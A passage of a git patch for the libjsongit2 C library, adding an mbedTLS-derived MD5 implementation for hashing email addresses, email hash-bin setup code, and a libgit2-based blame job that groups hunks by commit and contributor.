inbuilt default */\n+\t\tvh-\u003ecfg.md5_alloc \u003d jg2_md5_alloc;\n+\t\tvh-\u003ecfg.md5_init \u003d jg2_md5_init;\n+\t\tvh-\u003ecfg.md5_upd \u003d jg2_md5_upd;\n+\t\tvh-\u003ecfg.md5_fini \u003d jg2_md5_fini;\n+\t}\n+\n+\tvh-\u003emd5_ctx \u003d vh-\u003ecfg.md5_alloc();\n+\n+\t/* allocate the hash bin array */\n+\n+\ts \u003d sizeof(*vh-\u003ebins) * vh-\u003ecfg.email_hash_bins;\n+\tvh-\u003ebins \u003d malloc(s);\n+\tif (!vh-\u003ebins)\n+\t\treturn -1;\n+\n+\tmemset(vh-\u003ebins, 0, s);\n+\n+\treturn 0;\n+}\n+\n+void\n+email_vhost_deinit(struct jg2_vhost *vh)\n+{\n+\tint n;\n+\n+\tif (!vh-\u003ebins)\n+\t\treturn;\n+\n+\tfor (n \u003d 0; n \u003c vh-\u003ecfg.email_hash_bins; n++) {\n+\t\tstruct jg2_email *p \u003d vh-\u003ebins[n].first, *p1;\n+\n+\t\twhile (p) {\n+\t\t\tp1 \u003d p-\u003enext;\n+\t\t\tfree(p);\n+\t\t\tp \u003d p1;\n+\t\t}\n+\t}\n+\n+\tfree(vh-\u003emd5_ctx);\n+\n+\tfree(vh-\u003ebins);\n+}\ndiff --git a/lib/email/md5.c b/lib/email/md5.c\nnew file mode 100644\nindex 0000000..273ed73\n--- /dev/null\n+++ b/lib/email/md5.c\n@@ -0,0 +1,312 @@\n+/*\n+ * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved\n+ * SPDX-License-Identifier: Apache-2.0\n+ *\n+ * Licensed under the Apache License, Version 2.0 (the \u0022License\u0022); you may\n+ * not use this file except in compliance with the License.\n+ * You may obtain a copy of the License at\n+ *\n+ * http://www.apache.org/licenses/LICENSE-2.0\n+ *\n+ * Unless required by applicable law or agreed to in writing, software\n+ * distributed under the License is distributed on an \u0022AS IS\u0022 BASIS, WITHOUT\n+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n+ * See the License for the specific language governing permissions and\n+ * limitations under the License.\n+ */\n+\n+#include \u003clibjsongit2.h\u003e\n+\n+#include \u003cstdint.h\u003e\n+#include \u003cstddef.h\u003e\n+#include \u003cstring.h\u003e\n+#include \u003cstdio.h\u003e\n+#include \u003cstdlib.h\u003e\n+\n+typedef struct {\n+ uint32_t total[2]; /*!\u003c number of bytes processed */\n+ uint32_t state[4]; /*!\u003c intermediate digest state */\n+ unsigned char buffer[64]; /*!\u003c data block being processed */\n+} mbedtls_md5_context;\n+\n+/*\n+ * The MD5 algorithm was designed by Ron Rivest in 1991.\n+ *\n+ * http://www.ietf.org/rfc/rfc1321.txt\n+ */\n+\n+#define GET_UINT32_LE(n,b,i) \u005c\n+{ \u005c\n+ (n) \u003d ( (uint32_t) (b)[(i) ] ) \u005c\n+ | ( (uint32_t) (b)[(i) + 1] \u003c\u003c 8 ) \u005c\n+ | ( (uint32_t) (b)[(i) + 2] \u003c\u003c 16 ) \u005c\n+ | ( (uint32_t) (b)[(i) + 3] \u003c\u003c 24 ); \u005c\n+}\n+\n+#define PUT_UINT32_LE(n,b,i) \u005c\n+{ \u005c\n+ (b)[(i) ] \u003d (unsigned char) ( ( (n) ) \u0026 0xFF ); \u005c\n+ (b)[(i) + 1] \u003d (unsigned char) ( ( (n) \u003e\u003e 8 ) \u0026 0xFF ); \u005c\n+ (b)[(i) + 2] \u003d (unsigned char) ( ( (n) \u003e\u003e 16 ) \u0026 0xFF ); \u005c\n+ (b)[(i) + 3] \u003d (unsigned char) ( ( (n) \u003e\u003e 24 ) \u0026 0xFF ); \u005c\n+}\n+\n+static int\n+mbedtls_internal_md5_process( mbedtls_md5_context *ctx,\n+ const unsigned char data[64] )\n+{\n+ uint32_t X[16], A, B, C, D;\n+\n+ GET_UINT32_LE( X[ 0], data, 0 );\n+ GET_UINT32_LE( X[ 1], data, 4 );\n+ GET_UINT32_LE( X[ 2], data, 8 );\n+ GET_UINT32_LE( X[ 3], data, 12 );\n+ GET_UINT32_LE( X[ 4], data, 16 );\n+ GET_UINT32_LE( X[ 5], data, 20 );\n+ GET_UINT32_LE( X[ 6], data, 24 );\n+ GET_UINT32_LE( X[ 7], data, 28 );\n+ GET_UINT32_LE( X[ 8], data, 32 );\n+ GET_UINT32_LE( X[ 9], data, 36 );\n+ GET_UINT32_LE( X[10], data, 40 );\n+ GET_UINT32_LE( X[11], data, 44 );\n+ GET_UINT32_LE( X[12], data, 48 );\n+ GET_UINT32_LE( X[13], data, 52 );\n+ GET_UINT32_LE( X[14], data, 56 );\n+ GET_UINT32_LE( X[15], data, 60 );\n+\n+#define S(x,n) ((x \u003c\u003c n) | ((x \u0026 0xFFFFFFFF) \u003e\u003e (32 - n)))\n+\n+#define P(a,b,c,d,k,s,t) \u005c\n+{ \u005c\n+ a +\u003d F(b,c,d) + X[k] + t; a \u003d S(a,s) + b; \u005c\n+}\n+\n+ A \u003d ctx-\u003estate[0];\n+ B \u003d ctx-\u003estate[1];\n+ C \u003d ctx-\u003estate[2];\n+ D \u003d ctx-\u003estate[3];\n+\n+#define F(x,y,z) (z ^ (x \u0026 (y ^ z)))\n+\n+ P( A, B, C, D, 0, 7, 0xD76AA478 );\n+ P( D, A, B, C, 1, 12, 0xE8C7B756 );\n+ P( C, D, A, B, 2, 17, 0x242070DB );\n+ P( B, C, D, A, 3, 22, 0xC1BDCEEE );\n+ P( A, B, C, D, 4, 7, 0xF57C0FAF );\n+ P( D, A, B, C, 5, 12, 0x4787C62A );\n+ P( C, D, A, B, 6, 17, 0xA8304613 );\n+ P( B, C, D, A, 7, 22, 0xFD469501 );\n+ P( A, B, C, D, 8, 7, 0x698098D8 );\n+ P( D, A, B, C, 9, 12, 0x8B44F7AF );\n+ P( C, D, A, B, 10, 17, 0xFFFF5BB1 );\n+ P( B, C, D, A, 11, 22, 0x895CD7BE );\n+ P( A, B, C, D, 12, 7, 0x6B901122 );\n+ P( D, A, B, C, 13, 12, 0xFD987193 );\n+ P( C, D, A, B, 14, 17, 0xA679438E );\n+ P( B, C, D, A, 15, 22, 0x49B40821 );\n+\n+#undef F\n+\n+#define F(x,y,z) (y ^ (z \u0026 (x ^ y)))\n+\n+ P( A, B, C, D, 1, 5, 0xF61E2562 );\n+ P( D, A, B, C, 6, 9, 0xC040B340 );\n+ P( C, D, A, B, 11, 14, 0x265E5A51 );\n+ P( B, C, D, A, 0, 20, 0xE9B6C7AA );\n+ P( A, B, C, D, 5, 5, 0xD62F105D );\n+ P( D, A, B, C, 10, 9, 0x02441453 );\n+ P( C, D, A, B, 15, 14, 0xD8A1E681 );\n+ P( B, C, D, A, 4, 20, 0xE7D3FBC8 );\n+ P( A, B, C, D, 9, 5, 0x21E1CDE6 );\n+ P( D, A, B, C, 14, 9, 0xC33707D6 );\n+ P( C, D, A, B, 3, 14, 0xF4D50D87 );\n+ P( B, C, D, A, 8, 20, 0x455A14ED );\n+ P( A, B, C, D, 13, 5, 0xA9E3E905 );\n+ P( D, A, B, C, 2, 9, 0xFCEFA3F8 );\n+ P( C, D, A, B, 7, 14, 0x676F02D9 );\n+ P( B, C, D, A, 12, 20, 0x8D2A4C8A );\n+\n+#undef F\n+\n+#define F(x,y,z) (x ^ y ^ z)\n+\n+ P( A, B, C, D, 5, 4, 0xFFFA3942 );\n+ P( D, A, B, C, 8, 11, 0x8771F681 );\n+ P( C, D, A, B, 11, 16, 0x6D9D6122 );\n+ P( B, C, D, A, 14, 23, 0xFDE5380C );\n+ P( A, B, C, D, 1, 4, 0xA4BEEA44 );\n+ P( D, A, B, C, 4, 11, 0x4BDECFA9 );\n+ P( C, D, A, B, 7, 16, 0xF6BB4B60 );\n+ P( B, C, D, A, 10, 23, 0xBEBFBC70 );\n+ P( A, B, C, D, 13, 4, 0x289B7EC6 );\n+ P( D, A, B, C, 0, 11, 0xEAA127FA );\n+ P( C, D, A, B, 3, 16, 0xD4EF3085 );\n+ P( B, C, D, A, 6, 23, 0x04881D05 );\n+ P( A, B, C, D, 9, 4, 0xD9D4D039 );\n+ P( D, A, B, C, 12, 11, 0xE6DB99E5 );\n+ P( C, D, A, B, 15, 16, 0x1FA27CF8 );\n+ P( B, C, D, A, 2, 23, 0xC4AC5665 );\n+\n+#undef F\n+\n+#define F(x,y,z) (y ^ (x | ~z))\n+\n+ P( A, B, C, D, 0, 6, 0xF4292244 );\n+ P( D, A, B, C, 7, 10, 0x432AFF97 );\n+ P( C, D, A, B, 14, 15, 0xAB9423A7 );\n+ P( B, C, D, A, 5, 21, 0xFC93A039 );\n+ P( A, B, C, D, 12, 6, 0x655B59C3 );\n+ P( D, A, B, C, 3, 10, 0x8F0CCC92 );\n+ P( C, D, A, B, 10, 15, 0xFFEFF47D );\n+ P( B, C, D, A, 1, 21, 0x85845DD1 );\n+ P( A, B, C, D, 8, 6, 0x6FA87E4F );\n+ P( D, A, B, C, 15, 10, 0xFE2CE6E0 );\n+ P( C, D, A, B, 6, 15, 0xA3014314 );\n+ P( B, C, D, A, 13, 21, 0x4E0811A1 );\n+ P( A, B, C, D, 4, 6, 0xF7537E82 );\n+ P( D, A, B, C, 11, 10, 0xBD3AF235 );\n+ P( C, D, A, B, 2, 15, 0x2AD7D2BB );\n+ P( B, C, D, A, 9, 21, 0xEB86D391 );\n+\n+#undef F\n+\n+ ctx-\u003estate[0] +\u003d A;\n+ ctx-\u003estate[1] +\u003d B;\n+ ctx-\u003estate[2] +\u003d C;\n+ ctx-\u003estate[3] +\u003d D;\n+\n+ return( 0 );\n+}\n+\n+static int\n+mbedtls_md5_update_ret( mbedtls_md5_context *ctx,\n+ const unsigned char *input,\n+ size_t ilen )\n+{\n+ int ret;\n+ size_t fill;\n+ uint32_t left;\n+\n+ if( ilen \u003d\u003d 0 )\n+ return( 0 );\n+\n+ left \u003d ctx-\u003etotal[0] \u0026 0x3F;\n+ fill \u003d 64 - left;\n+\n+ ctx-\u003etotal[0] +\u003d (uint32_t) ilen;\n+ ctx-\u003etotal[0] \u0026\u003d 0xFFFFFFFF;\n+\n+ if( ctx-\u003etotal[0] \u003c (uint32_t) ilen )\n+ ctx-\u003etotal[1]++;\n+\n+ if( left \u0026\u0026 ilen \u003e\u003d fill )\n+ {\n+ memcpy( (void *) (ctx-\u003ebuffer + left), input, fill );\n+ if( ( ret \u003d mbedtls_internal_md5_process( ctx, ctx-\u003ebuffer ) ) !\u003d 0 )\n+ return( ret );\n+\n+ input +\u003d fill;\n+ ilen -\u003d fill;\n+ left \u003d 0;\n+ }\n+\n+ while( ilen \u003e\u003d 64 )\n+ {\n+ if( ( ret \u003d mbedtls_internal_md5_process( ctx, input ) ) !\u003d 0 )\n+ return( ret );\n+\n+ input +\u003d 64;\n+ ilen -\u003d 64;\n+ }\n+\n+ if( ilen \u003e 0 )\n+ {\n+ memcpy( (void *) (ctx-\u003ebuffer + left), input, ilen );\n+ }\n+\n+ return( 0 );\n+}\n+\n+static const unsigned char md5_padding[64] \u003d\n+{\n+ 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\n+};\n+\n+static int\n+mbedtls_md5_finish_ret( mbedtls_md5_context *ctx,\n+ unsigned char output[16] )\n+{\n+ int ret;\n+ uint32_t last, padn;\n+ uint32_t high, low;\n+ unsigned char msglen[8];\n+\n+ high \u003d ( ctx-\u003etotal[0] \u003e\u003e 29 )\n+ | ( ctx-\u003etotal[1] \u003c\u003c 3 );\n+ low \u003d ( ctx-\u003etotal[0] \u003c\u003c 3 );\n+\n+ PUT_UINT32_LE( low, msglen, 0 );\n+ PUT_UINT32_LE( high, msglen, 4 );\n+\n+ last \u003d ctx-\u003etotal[0] \u0026 0x3F;\n+ padn \u003d ( last \u003c 56 ) ? ( 56 - last ) : ( 120 - last );\n+\n+ if( ( ret \u003d mbedtls_md5_update_ret( ctx, md5_padding, padn ) ) !\u003d 0 )\n+ return( ret );\n+\n+ if( ( ret \u003d mbedtls_md5_update_ret( ctx, msglen, 8 ) ) !\u003d 0 )\n+ return( ret );\n+\n+ PUT_UINT32_LE( ctx-\u003estate[0], output, 0 );\n+ PUT_UINT32_LE( ctx-\u003estate[1], output, 4 );\n+ PUT_UINT32_LE( ctx-\u003estate[2], output, 8 );\n+ PUT_UINT32_LE( ctx-\u003estate[3], output, 12 );\n+\n+ return( 0 );\n+}\n+\n+/*\n+ * these are the default per-vhost md5 implementation functions... they can\n+ * be overridden in jg2 config at vhost creation time.\n+ */\n+\n+jg2_md5_context\n+jg2_md5_alloc(void)\n+{\n+\treturn malloc(sizeof(mbedtls_md5_context));\n+}\n+\n+void\n+jg2_md5_init(jg2_md5_context _ctx)\n+{\n+ mbedtls_md5_context *ctx \u003d (mbedtls_md5_context *)_ctx;\n+\n+ memset(ctx, 0, sizeof(*ctx));\n+\n+ ctx-\u003estate[0] \u003d 0x67452301;\n+ ctx-\u003estate[1] \u003d 0xEFCDAB89;\n+ ctx-\u003estate[2] \u003d 0x98BADCFE;\n+ ctx-\u003estate[3] \u003d 0x10325476;\n+}\n+\n+int\n+jg2_md5_upd(jg2_md5_context _ctx, const unsigned char *input, size_t ilen)\n+{\n+\tmbedtls_md5_context *ctx \u003d (mbedtls_md5_context *)_ctx;\n+\n+\treturn mbedtls_md5_update_ret(ctx, input, ilen);\n+}\n+\n+int\n+jg2_md5_fini(jg2_md5_context _ctx, unsigned char output[16])\n+{\n+\tmbedtls_md5_context *ctx \u003d (mbedtls_md5_context *)_ctx;\n+\tint ret;\n+\n+\tret \u003d mbedtls_md5_finish_ret(ctx, output);\n+\n+\treturn ret;\n+}\ndiff --git a/lib/email/private.h b/lib/email/private.h\nnew file mode 100644\nindex 0000000..7271cc9\n--- /dev/null\n+++ b/lib/email/private.h\n@@ -0,0 +1,20 @@\n+\n+struct jg2_email {\n+\tstruct jg2_email *next;\n+\tchar email[64];\n+\tunsigned char md5[JG2_MD5_LEN];\n+};\n+\n+struct jg2_email_hash_bin {\n+\tstruct jg2_email *first;\n+\tint count;\n+};\n+\n+int\n+email_vhost_init(struct jg2_vhost *vhost);\n+\n+void\n+email_vhost_deinit(struct jg2_vhost *vhost);\n+\n+unsigned char * /* may return NULL on OOM */\n+email_md5(struct jg2_vhost *vhost, const char *email);\ndiff --git a/lib/job/blame.c b/lib/job/blame.c\nnew file mode 100644\nindex 0000000..672dc5d\n--- /dev/null\n+++ b/lib/job/blame.c\n@@ -0,0 +1,545 @@\n+/*\n+ * libjsongit2 - blame\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ *\n+ *\n+ * Blame apis were only introduced in libgit2 v0.21.\n+ *\n+ * The blame apis show contiguous areas of lines as a hunk. So if there was\n+ * an introductory commit 1 and two edits in the middle, 2 and 3, it shows\n+ * 1-2-1-3-1.\n+ *\n+ * Using a LAC we stitch this back into a list of commits, ordered by time,\n+ * each having an array of discontiguous line ranges. So we issue 1-2-3, but\n+ * they're annotated with line range arrays. This lets us highlight the\n+ * footprint of a particular contributing commit as a unit, even if it is\n+ * spread around the file.\n+ *\n+ * We also calculate a sorted list of contributors to the current file state,\n+ * in order of the number of lines for each. To avoid reiterating the\n+ * identities again, since they are all by definition already mentioned in the\n+ * hunk list, we just give the a hunk index with the right identity.\n+ */\n+\n+#include \u0022../private.h\u0022\n+\n+#include \u003cstdio.h\u003e\n+#include \u003cstring.h\u003e\n+\n+#if LIBGIT2_HAS_BLAME\n+#define lp_to_bhi(p, _n) list_ptr_container(p, struct blame_hunk_info, _n)\n+#define lp_to_bli(p, _n) list_ptr_container(p, struct blame_line_range, _n)\n+#endif\n+\n+static void\n+job_blame_destroy(struct jg2_ctx *ctx)\n+{\n+#if LIBGIT2_HAS_BLAME\n+\tlac_free(\u0026ctx-\u003elac_head);\n+\tctx-\u003esorted_head \u003d NULL;\n+\n+\tif (ctx-\u003eblame) {\n+\t\tgit_blame_free(ctx-\u003eblame);\n+\t\tctx-\u003eblame \u003d NULL;\n+\t}\n+#endif\n+\tctx-\u003ejob \u003d NULL;\n+}\n+\n+#if LIBGIT2_HAS_BLAME\n+\n+static int\n+bhi_uniq_fsig_sort(list_ptr a, list_ptr b)\n+{\n+\tstruct blame_hunk_info *p1 \u003d lp_to_bhi(a, next_sort_fsig),\n+\t\t\t *p2 \u003d lp_to_bhi(b, next_sort_fsig);\n+\n+\treturn p2-\u003ecount_lines_rep_acc - p1-\u003ecount_lines_rep_acc;\n+}\n+\n+static int\n+bhi_date_sort(list_ptr a, list_ptr b)\n+{\n+\tstruct blame_hunk_info *p1 \u003d lp_to_bhi(a, next),\n+\t\t\t *p2 \u003d lp_to_bhi(b, next);\n+\n+\treturn (int)(p1-\u003efinal.when.time - p2-\u003efinal.when.time);\n+}\n+\n+static int\n+job_blame_start(struct jg2_ctx *ctx)\n+{\n+\tif (!ctx-\u003ehex_oid[0]) {\n+\t\tlwsl_err(\u0022no oid\u005cn\u0022);\n+\t\treturn 1;\n+\t}\n+\n+\tif (!ctx-\u003esr.e[JG2_PE_PATH])\n+\t\treturn -1;\n+\n+\tgit_blame_init_options(\u0026ctx-\u003eblame_opts, GIT_BLAME_OPTIONS_VERSION);\n+\tctx-\u003ecount \u003d 0;\n+\n+#if defined(JG2_HAVE_BLAME_MAILMAP)\n+\tctx-\u003eblame_opts.flags |\u003d GIT_BLAME_USE_MAILMAP;\n+#endif\n+\n+\tif (ctx-\u003ehex_oid[0] \u003d\u003d 'r') {\n+\t\tint e \u003d git_reference_name_to_id(\u0026ctx-\u003eblame_opts.newest_commit,\n+\t\t\t\t\t\t ctx-\u003ejrepo-\u003erepo,\n+\t\t\t\t\t\t ctx-\u003ehex_oid);\n+\t\tif (e \u003c 0) {\n+\t\t\tlwsl_err(\u0022%s: unable to lookup ref '%s': %d\u005cn\u0022,\n+\t\t\t\t __func__, ctx-\u003ehex_oid, e);\n+\n+\t\t\treturn -1;\n+\t\t}\n+\t} else\n+\t\tif (git_oid_fromstr(\u0026ctx-\u003eblame_opts.newest_commit,\n+\t\t\t\t ctx-\u003ehex_oid)) {\n+\t\t\tlwsl_err(\u0022no oid from string\u005cn\u0022);\n+\n+\t\t\treturn -1;\n+\t\t}\n+\n+\tctx-\u003eblame_opts.min_line \u003d 1;\n+\n+\tctx-\u003elac_head \u003d NULL;\n+\tctx-\u003esorted_head \u003d NULL;\n+\tctx-\u003epos \u003d 0;\n+\n+\tctx-\u003eblame_init_phase \u003d 1;\n+\n+\treturn 0;\n+}\n+\n+static int\n+job_blame_lines(struct jg2_ctx *ctx)\n+{\n+\tstruct blame_hunk_info *bhi, *b;\n+\tconst git_blame_hunk *hunk;\n+\tstruct blame_line_range *r;\n+\tint ord \u003d 0;//, first \u003d 1;\n+\tlist_ptr lp;\n+\n+\t// ctx-\u003eblame_opts.max_line \u003d ctx-\u003eblame_opts.min_line + LINE_SET;\n+\tctx-\u003eblame_opts.min_line \u003d 0;\n+\n+\tif (git_blame_file(\u0026ctx-\u003eblame, ctx-\u003ejrepo-\u003erepo,\n+\t\t\t ctx-\u003esr.e[JG2_PE_PATH], \u0026ctx-\u003eblame_opts)) {\n+\t\tlwsl_err(\u0022problem getting blame info\u005cn\u0022);\n+\n+\t\treturn -1;\n+\t}\n+\n+\t// ctx-\u003eblame_opts.min_line +\u003d LINE_SET;\n+\n+\t/* process the blame chunks */\n+\n+\tdo {\n+\t\thunk \u003d git_blame_get_hunk_byindex(ctx-\u003eblame, ctx-\u003ecount++);\n+\t//\tif (ctx-\u003eblame_opts.min_line - LINE_SET \u003c 2203)\n+\t//\t\tfirst \u003d 0;\n+\t\tif (!hunk)\n+\t\t\tcontinue;\n+\n+\t\t//first \u003d 0;\n+\t\t//ctx-\u003ecount++;\n+\n+\t\t/* does \u0022hunk-\u003efinal_commit_id\u0022 already exist on our list? */\n+\n+\t\tbhi \u003d NULL;\n+\t\tlp \u003d ctx-\u003esorted_head;\n+\t\twhile (lp) {\n+\t\t\tbhi \u003d lp_to_bhi(lp, next);\n+\n+\t\t\tif (git_oid_equal(\u0026bhi-\u003ehunk.final_commit_id,\n+\t\t\t\t\t \u0026hunk-\u003efinal_commit_id))\n+\t\t\t\tbreak;\n+\n+\t\t\tlist_ptr_advance(lp);\n+\t\t}\n+\n+\t\t/* if it didn't already exist, add it */\n+\n+\t\tif (!lp) {\n+\t\t\tgit_commit *orig_commit, *final_commit;\n+\t\t\tsize_t len, s[7];\n+\t\t\tchar *p;\n+\n+\t\t\tif (git_commit_lookup(\u0026orig_commit, ctx-\u003ejrepo-\u003erepo,\n+\t\t\t\t\t \u0026hunk-\u003eorig_commit_id)) {\n+\t\t\t\tlwsl_err(\u0022%s: Failed to find orig oid\u005cn\u0022,\n+\t\t\t\t\t __func__);\n+\n+\t\t\t\tgoto bail;\n+\t\t\t}\n+\n+\t\t\tif (git_commit_lookup(\u0026final_commit, ctx-\u003ejrepo-\u003erepo,\n+\t\t\t\t\t \u0026hunk-\u003efinal_commit_id)) {\n+\t\t\t\tlwsl_err(\u0022%s: Failed to find final oid\u005cn\u0022,\n+\t\t\t\t\t __func__);\n+\n+\t\t\t\tgoto bail;\n+\t\t\t}\n+\n+\t\t\t/*\n+\t\t\t * So the orig + final signatures, and hunk-\u003eorig_path,\n+\t\t\t * are given to us with temp pointers to the name and\n+\t\t\t * email info.\n+\t\t\t *\n+\t\t\t * We need to serialize them into composed git_signature\n+\t\t\t * members with the pointers fixed up to the copied\n+\t\t\t * names.\n+\t\t\t *\n+\t\t\t * In addition, we want to store the commit summaries\n+\t\t\t * for the original and final commit,\n+\t\t\t *\n+\t\t\t * [struct blame_hunk_info]\n+\t\t\t * [orig sig name] NUL (\u003c- bhi.orig.name)\n+\t\t\t * [orig sig email] NUL (\u003c- bhi.orig.email)\n+\t\t\t * [final sig name] NUL (\u003c- bhi.final.name)\n+\t\t\t * [final sig email] NUL (\u003c- bhi.final.email)\n+\t\t\t * [orig cmmt log] NUL (\u003c- bhi.orig_summary)\n+\t\t\t * [final cmmt log] NUL (\u003c- bhi.final_summary)\n+\t\t\t * [orig path] NUL (\u003c- bhi.hunk.orig_path)\n+\t\t\t *\n+\t\t\t * Compute the true total length first...\n+\t\t\t */\n+\n+\t\t\ts[0] \u003d strlen(hunk-\u003eorig_signature-\u003ename) + 1;\n+\t\t\ts[1] \u003d strlen(hunk-\u003eorig_signature-\u003eemail) + 1;\n+\t\t\ts[2] \u003d strlen(hunk-\u003efinal_signature-\u003ename) + 1;\n+\t\t\ts[3] \u003d strlen(hunk-\u003efinal_signature-\u003eemail) + 1;\n+\t\t\ts[4] \u003d strlen(git_commit_summary(orig_commit)) + 1;\n+\t\t\ts[5] \u003d strlen(git_commit_summary(final_commit)) + 1;\n+\t\t\ts[6] \u003d strlen(hunk-\u003eorig_path) + 1;\n+\n+\t\t\tlen \u003d sizeof(*bhi) +\n+\t\t\t s[0] + s[1] + s[2] + s[3] + s[4] + s[5] + s[6];\n+\n+\t\t\tbhi \u003d lac_use(\u0026ctx-\u003elac_head, len, 0);\n+\t\t\tif (!bhi) {\n+\t\t\t\tlwsl_err(\u0022OOM\u005cn\u0022);\n+\t\t\t\tlac_free(\u0026ctx-\u003elac_head);\n+\n+\t\t\t\treturn -1;\n+\t\t\t}\n+\n+\t\t\tbhi-\u003enext_same_fsig \u003d NULL;\n+\t\t\tbhi-\u003enext_uniq_fsig \u003d NULL;\n+\t\t\tbhi-\u003enext_sort_fsig \u003d NULL;\n+\t\t\tbhi-\u003efsig_rep \u003d NULL;\n+\t\t\tbhi-\u003eordinal \u003d 0;\n+\n+\t\t\tp \u003d (char *)(bhi + 1);\n+\t\t\tmemcpy(\u0026bhi-\u003ehunk, hunk, sizeof(*hunk));\n+\t\t\tbhi-\u003eorig \u003d *hunk-\u003eorig_signature;\n+\t\t\tbhi-\u003eorig.name \u003d p;\n+\t\t\tmemcpy(p, hunk-\u003eorig_signature-\u003ename, s[0]);\n+\t\t\tp +\u003d s[0];\n+\t\t\tbhi-\u003eorig.email \u003d p;\n+\t\t\tmemcpy(p, hunk-\u003eorig_signature-\u003eemail, s[1]);\n+\t\t\tp +\u003d s[1];\n+\n+\t\t\tbhi-\u003efinal \u003d *hunk-\u003efinal_signature;\n+\t\t\tbhi-\u003efinal.name \u003d p;\n+\t\t\tmemcpy(p, hunk-\u003efinal_signature-\u003ename, s[2]);\n+\t\t\tp +\u003d s[2];\n+\t\t\tbhi-\u003efinal.email \u003d p;\n+\t\t\tmemcpy(p, hunk-\u003efinal_signature-\u003eemail, s[3]);\n+\t\t\tp +\u003d s[3];\n+\n+\t\t\tbhi-\u003eorig_summary \u003d p;\n+\t\t\tmemcpy(p, git_commit_summary(orig_commit), s[4]);\n+\t\t\tp +\u003d s[4];\n+\t\t\tbhi-\u003efinal_summary \u003d p;\n+\t\t\tmemcpy(p, git_commit_summary(final_commit), s[5]);\n+\t\t\tp +\u003d s[5];\n+\n+\t\t\tbhi-\u003ehunk.orig_path \u003d p;\n+\t\t\tmemcpy(p, hunk-\u003eorig_path, s[6]);\n+\n+\t\t\tgit_commit_free(orig_commit);\n+\t\t\tgit_commit_free(final_commit);\n+\n+\t\t\tbhi-\u003eline_range_head \u003d NULL;\n+\t\t\t/* tail is our head */\n+\t\t\tbhi-\u003eline_range_tail \u003d \u0026bhi-\u003eline_range_head;\n+\n+\t\t\tbhi-\u003ecount_line_ranges \u003d 0;\n+\t\t\tbhi-\u003ecount_lines \u003d 0;\n+\t\t\tbhi-\u003ecount_lines_rep_acc \u003d 0;\n+\n+\t\t\t/* insert him into the bhi list using date order */\n+\n+\t\t\tlist_ptr_insert(\u0026ctx-\u003esorted_head, \u0026bhi-\u003enext,\n+\t\t\t\t\tbhi_date_sort);\n+\n+\t\t\t/* Has his final sig already appeared? */\n+\n+\t\t\tlp \u003d ctx-\u003ehead_uniq_fsig;\n+\t\t\twhile (lp) {\n+\t\t\t\tb \u003d lp_to_bhi(lp, next_uniq_fsig);\n+\t\t\t\tif (!strcmp(b-\u003efinal.name, bhi-\u003efinal.name) \u0026\u0026\n+\t\t\t\t !strcmp(b-\u003efinal.email, bhi-\u003efinal.email)) {\n+\t\t\t\t\t/* add him to the list of same sig */\n+\t\t\t\t\tbhi-\u003enext_same_fsig \u003d b-\u003enext_same_fsig;\n+\t\t\t\t\tb-\u003enext_same_fsig \u003d bhi-\u003enext_same_fsig;\n+\t\t\t\t\tbhi-\u003efsig_rep \u003d b;\n+\t\t\t\t\tbreak;\n+\t\t\t\t}\n+\t\t\t\tlp \u003d b-\u003enext_uniq_fsig;\n+\t\t\t}\n+\n+\t\t\tif (!lp) {\n+\t\t\t\t/*\n+\t\t\t\t * he has a unique final sig we didn't list yet,\n+\t\t\t\t * add him to the unique fsig list\n+\t\t\t\t */\n+\t\t\t\tbhi-\u003enext_uniq_fsig \u003d ctx-\u003ehead_uniq_fsig;\n+\t\t\t\tctx-\u003ehead_uniq_fsig \u003d \u0026bhi-\u003enext_uniq_fsig;\n+\t\t\t\tbhi-\u003efsig_rep \u003d bhi;\n+\t\t\t}\n+\t\t}\n+\n+\t\t/*\n+\t\t * so bhi now points to this logical hunk in our sorted list...\n+\t\t * add this line range info to its list\n+\t\t */\n+\n+\t\tr \u003d lac_use(\u0026ctx-\u003elac_head, sizeof(*r), 0);\n+\t\tr-\u003enext \u003d NULL;\n+\t\t/* write our next's ads to last guy's next */\n+\t\t*((void **)bhi-\u003eline_range_tail) \u003d \u0026r-\u003enext;\n+\t\t/* last guy becomes us */\n+\t\tbhi-\u003eline_range_tail \u003d \u0026r-\u003enext;\n+\t\tbhi-\u003ecount_line_ranges++;\n+\t\tbhi-\u003ecount_lines +\u003d hunk-\u003elines_in_hunk;\n+\n+\t\t/*\n+\t\t * also accumulate all line counts in the bhi representing our\n+\t\t * unique final signature... so we can later sort the unique\n+\t\t * contributors by the number of their lines in the file easily\n+\t\t */\n+\t\tbhi-\u003efsig_rep-\u003ecount_lines_rep_acc +\u003d hunk-\u003elines_in_hunk;\n+\n+\t\tr-\u003elines \u003d hunk-\u003elines_in_hunk;\n+\t\tr-\u003eline_start_orig \u003d hunk-\u003eorig_start_line_number;\n+\t\tr-\u003eline_start_final \u003d hunk-\u003efinal_start_line_number;\n+\n+\t} while (hunk);\n+\n+\tif (ctx-\u003eblame) {\n+\t\tgit_blame_free(ctx-\u003eblame);\n+\t\tctx-\u003eblame \u003d NULL;\n+\t}\n+\n+//\tif (!first)\n+//\t\treturn 0;\n+\n+\t /* he didn't produce anything, we are done with the initial stuff */\n+\tctx-\u003eblame_init_phase \u003d 0;\n+\n+\tctx-\u003ebhi \u003d lp_to_bhi(ctx-\u003esorted_head, next);\n+\tctx-\u003ebli \u003d NULL;\n+\tctx-\u003ecount \u003d 0;\n+\n+\t/*\n+\t * 